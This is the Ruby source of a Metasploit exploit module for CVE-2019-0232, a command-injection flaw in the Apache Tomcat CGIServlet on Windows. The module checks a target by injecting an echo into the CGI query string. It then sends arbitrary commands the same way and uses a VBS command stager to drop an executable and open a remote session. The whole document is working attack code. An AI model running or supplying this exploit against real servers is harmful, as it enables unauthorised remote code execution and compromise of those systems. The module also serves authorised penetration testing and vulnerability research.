## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => 'Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability', 'Description' => %q{ This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the enableCmdLineArguments setting is set to true, a remote user can abuse this to execute system commands, and gain remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yakov Shafranovich', # Original discovery 'sinn3r' # Metasploit module ], 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Apache Tomcat 9.0 or prior for Windows', { } ] ], 'References' => [ ['CVE', '2019-0232'], ['URL', 'https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/'], ['URL', 'https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/'] ], 'Notes' => { 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'CmdStagerFlavor' => 'vbs', 'DefaultOptions' => { 'RPORT' => 8080 }, 'Privileged' => false, 'DisclosureDate' => 'Apr 10 2019', # Date of public advisory issued by the vendor 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The URI path to CGI script', '/']) ]) register_advanced_options( [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) deregister_options('SRVHOST', 'SRVPORT', 'URIPATH') end def check sig = Rex::Text.rand_text_alpha(10) uri = normalize_uri(target_uri.path) uri << "?&echo+#{sig}" res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res vprint_error('No Response from server') return CheckCode::Unknown end if res.body.include?(sig) return CheckCode::Vulnerable end CheckCode::Safe end def execute_command(cmd, opts={}) # Our command stager assumes we have access to environment variables. # We don't necessarily have that, so we have to modify cscript to a full path. cmd.gsub!('cscript', 'C:\\Windows\\System32\\cscript.exe') uri = normalize_uri(target_uri.path) uri << "?&#{CGI.escape(cmd)}" res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res fail_with(Failure::Unreachable, 'No response from server') end unless res.code == 200 fail_with(Failure::Unknown, "Unexpected server response: #{res.code}") end end # it seems we don't really have a way to retrieve the filenames from the VBS command stager, # so we need to rely on the user to cleanup the files. def on_new_session(cli) print_warning('Make sure to manually cleanup the exe generated by the exploit') super end def exploit print_status("Checking if #{rhost} is vulnerable") unless check == CheckCode::Vulnerable unless datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.') end print_warning('Target does not appear to be vulnerable.') end print_status("#{rhost} seems vulnerable, what a good day.") execute_cmdstager(flavor: :vbs, temp: '.', linemax: 7000) end end